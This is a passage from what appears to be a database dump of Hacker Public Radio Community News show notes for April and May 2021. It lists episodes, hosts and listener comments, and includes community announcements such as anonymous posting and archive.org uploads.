target=\"_blank\">3305</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-04-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3305\" target=\"_blank\">Nagios part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3306\" target=\"_blank\">3306</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-04-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3306\" target=\"_blank\">HPR Community News for March 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3307\" target=\"_blank\">3307</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-04-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3307\" target=\"_blank\">Git worktree</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3308\" target=\"_blank\">3308</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-04-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3308\" target=\"_blank\">let\'s talk about Thunderbird</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3309\" target=\"_blank\">3309</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-04-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3309\" target=\"_blank\">Linux Inlaws S01E27: The Big Uncertainties in Life and beyond</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3310\" target=\"_blank\">3310</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-04-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3310\" target=\"_blank\">Layer Masks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3311\" target=\"_blank\">3311</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-04-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3311\" target=\"_blank\">Bradley M. Kuhn\'s article from 2019 on Richard M. Stallman</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\" target=\"_blank\">Anonymous Host</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3312\" target=\"_blank\">3312</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-04-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3312\" target=\"_blank\">COVID Doldrums</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3313\" target=\"_blank\">3313</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-04-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3313\" target=\"_blank\">Zoom Update</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3314\" target=\"_blank\">3314</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-04-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3314\" target=\"_blank\">Introduction... A little bit about me</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3315\" target=\"_blank\">3315</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-04-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3315\" target=\"_blank\">tesseract optical character recognition</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3316\" target=\"_blank\">3316</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-04-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3316\" target=\"_blank\">FSF and RMS on election of Richard Stallman</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\" target=\"_blank\">Anonymous Host</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3317\" target=\"_blank\">3317</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-04-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3317\" target=\"_blank\">Reading a manifesto: Towards A Cooperative Technology Movement</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3318\" target=\"_blank\">3318</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-04-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3318\" target=\"_blank\">Modding a Wii classic with a DNS exploit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3319\" target=\"_blank\">3319</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-04-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3319\" target=\"_blank\">Linux Inlaws S01E28: Politicians and artificial intelligence part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3320\" target=\"_blank\">3320</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-04-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3320\" target=\"_blank\">YouTube Channels for Learning Spanish, Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3321\" target=\"_blank\">3321</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-04-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3321\" target=\"_blank\">DNS66 URANDOM RANDOM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3322\" target=\"_blank\">3322</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-04-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3322\" target=\"_blank\">Tune system performance with tuned</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3323\" target=\"_blank\">3323</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-04-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3323\" target=\"_blank\">The alternate Internet you never knew existed</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3324\" target=\"_blank\">3324</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-04-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3324\" target=\"_blank\">Infosec Podcasts Part 1  News and Current Events </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3325\" target=\"_blank\">3325</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-04-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3325\" target=\"_blank\">Games and rules</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3291#comments\" target=\"_blank\">hpr3291</a></strong>\n(2021-03-15) \"<em>The New Audacity and Batch Processing Macros</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3291#4\" target=\"_blank\">Comment 4</a>:\nbrother mouse on 2021-04-04:\n\"audacity batch\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3296#comments\" target=\"_blank\">hpr3296</a></strong>\n(2021-03-22) \"<em>Spam Bot Honey Pot</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3296#2\" target=\"_blank\">Comment 2</a>:\nrtsn on 2021-04-13:\n\"nice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3301#comments\" target=\"_blank\">hpr3301</a></strong>\n(2021-03-29) \"<em>K S P Kerbal Space Program! (Game)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3301#1\" target=\"_blank\">Comment 1</a>:\nAaronb on 2021-04-17:\n\"Have you seen xkcd about Kerbal\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3303#comments\" target=\"_blank\">hpr3303</a></strong>\n(2021-03-31) \"<em>Slackware on RaspberryPi</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3303#1\" target=\"_blank\">Comment 1</a>:\nZen_floater2 on 2021-04-01:\n\"Bravo\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 21 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3305#comments\" target=\"_blank\">hpr3305</a></strong>\n(2021-04-02) \"<em>Nagios part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3305#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2021-04-05:\n\"Adding my endorsement\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3308#comments\" target=\"_blank\">hpr3308</a></strong>\n(2021-04-07) \"<em>let\'s talk about Thunderbird</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3308#1\" target=\"_blank\">Comment 1</a>:\nHenry on 2021-04-09:\n\"Got some good tips ... thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3311#comments\" target=\"_blank\">hpr3311</a></strong>\n(2021-04-12) \"<em>Bradley M. Kuhn\'s article from 2019 on Richard M. Stallman</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=393\" target=\"_blank\">Anonymous Host</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2021-04-12:\n\"bravery\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2021-04-13:\n\"Long history of supporting anonymous posts\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#3\" target=\"_blank\">Comment 3</a>:\nReto on 2021-04-13:\n\"RMS\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2021-04-14:\n\"Interview with RMS/FSF ?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2021-04-14:\n\"Interview with RMS/FSF ? - links\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#6\" target=\"_blank\">Comment 6</a>:\nBeeza on 2021-04-14:\n\"Richard Stallman\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#7\" target=\"_blank\">Comment 7</a>:\nTorao on 2021-04-16:\n\"Stallman\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3311#8\" target=\"_blank\">Comment 8</a>:\nCfish on 2021-04-19:\n\"The responsibility of leadership\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3317#comments\" target=\"_blank\">hpr3317</a></strong>\n(2021-04-20) \"<em>Reading a manifesto: Towards A Cooperative Technology Movement</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3317#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2021-04-02:\n\"Errata\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3317#2\" target=\"_blank\">Comment 2</a>:\nCfish on 2021-04-20:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3317#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2021-04-22:\n\"Fantastic show!!!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3317#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2021-04-28:\n\"A season for manifestos\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3317#5\" target=\"_blank\">Comment 5</a>:\nKevin O&#39;Brien on 2021-04-29:\n\"Keep it up\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3318#comments\" target=\"_blank\">hpr3318</a></strong>\n(2021-04-21) \"<em>Modding a Wii classic with a DNS exploit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3318#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-04-21:\n\"sdcard and a usbstick\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3318#2\" target=\"_blank\">Comment 2</a>:\narcher72 on 2021-04-22:\n\"Re: sdcard and a usbstick\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3319#comments\" target=\"_blank\">hpr3319</a></strong>\n(2021-04-22) \"<em>Linux Inlaws S01E28: Politicians and artificial intelligence part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3319#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-04-23:\n\"AI is misleading AP would be better\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3320#comments\" target=\"_blank\">hpr3320</a></strong>\n(2021-04-23) \"<em>YouTube Channels for Learning Spanish, Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3320#1\" target=\"_blank\">Comment 1</a>:\nAaronb on 2021-04-26:\n\"Listening to Twit podcasts\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3321#comments\" target=\"_blank\">hpr3321</a></strong>\n(2021-04-26) \"<em>DNS66 URANDOM RANDOM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3321#1\" target=\"_blank\">Comment 1</a>:\nThaj on 2021-04-26:\n\"Mission accomplished\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3324#comments\" target=\"_blank\">hpr3324</a></strong>\n(2021-04-29) \"<em>Infosec Podcasts Part 1  News and Current Events </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3324#1\" target=\"_blank\">Comment 1</a>:\nXoke on 2021-04-29:\n\"GRRRRR!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-April/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"booth-kit-update\">Booth kit update</h3>\n<p>The FSF Europe have sent us a selection of stickers and leaflets to add to our booth kit(s).</p>\n<h3 id=\"posting-anonymously\">Posting Anonymously</h3>\n<ul>\n<li>HPR supports anonymous posting\n<ul>\n<li>Use Tor browser</li>\n<li>Sign up on a temporary email address <a href=\"https://en.wikipedia.org/wiki/Disposable_email_address\" class=\"uri\">https://en.wikipedia.org/wiki/Disposable_email_address</a></li>\n<li>Select your slot and check for the confirmation email</li>\n<li>Post your show as normal - but add a note to say it\'s an anonymous user.</li>\n</ul></li>\n</ul>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>The project to upload the <b>older</b> HPR shows to archive.org has been quiescent for a few years. The shows between 1 and 870 had not been uploaded prior to April 2021 (though some shows had been uploaded in batches in the early days, without notes etc).</p>\n<p>However, this <em>old show</em> project has been restarted this month, after new software had been written to help manage the process. At the time of writing 65 shows in the range 1-870 have been uploaded, with notes, and with the same range of audio formats used for current shows.</p>\n<p>Since we don\'t want to upload shows without summaries or tags the two projects are now tied together. So we will be all the more welcoming of tag and summary updates sent to the address referenced in the next section!</p>\n<p>The plan is to report the numbers uploaded each month in the AOB section of the Community News show notes.</p>\n<p>HPR shows on archive.org have the URL https://archive.org/details/hprXXXX where XXXX is the show number with leading zeroes. So for example, show 840\'s URL is: <a href=\"https://archive.org/details/hpr0840\" class=\"uri\">https://archive.org/details/hpr0840</a>.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 23 shows which were without them.</p>\n<p>There are now 384 shows which need a summary and/or tags.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3351,'2021-06-07','HPR Community News for May 2021',3956,'The HPR Matrons are doing the rounds.','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3326\" target=\"_blank\">3326</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-05-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3326\" target=\"_blank\">HPR Community News for April 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3327\" target=\"_blank\">3327</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-05-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3327\" target=\"_blank\">Looking into Ceph storage solution</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3328\" target=\"_blank\">3328</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-05-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3328\" target=\"_blank\">Pandas Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=39\" target=\"_blank\">Enigma</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3329\" target=\"_blank\">3329</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-05-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3329\" target=\"_blank\">Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3330\" target=\"_blank\">3330</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-05-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3330\" target=\"_blank\">A Layer Mask Project</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3331\" target=\"_blank\">3331</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-05-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3331\" target=\"_blank\">Audio for Podcasting: Episode 1 - The Microphone</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3332\" target=\"_blank\">3332</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-05-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3332\" target=\"_blank\">My current Devices</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3333\" target=\"_blank\">3333</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-05-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3333\" target=\"_blank\">My TV Stand devices and Pine64.org</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3334\" target=\"_blank\">3334</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-05-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3334\" target=\"_blank\">Infosec Podcasts Part 2 - General Information Security</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3335\" target=\"_blank\">3335</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-05-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3335\" target=\"_blank\">For your consideration, the Anarcho Book Club</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3336\" target=\"_blank\">3336</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-05-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3336\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3337\" target=\"_blank\">3337</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-05-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3337\" target=\"_blank\">I like that the boat is stuck</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3338\" target=\"_blank\">3338</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-05-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3338\" target=\"_blank\">Using openssl s_client like telnet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3339\" target=\"_blank\">3339</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-05-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3339\" target=\"_blank\">Linux Inlaws S01E30: Politicians and artificial intelligence part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3340\" target=\"_blank\">3340</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-05-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3340\" target=\"_blank\">Hacked?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3341\" target=\"_blank\">3341</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-05-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3341\" target=\"_blank\">Linux on a serial Terminal - And Jorome\'s MainFrame Challenge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3342\" target=\"_blank\">3342</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-05-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3342\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3343\" 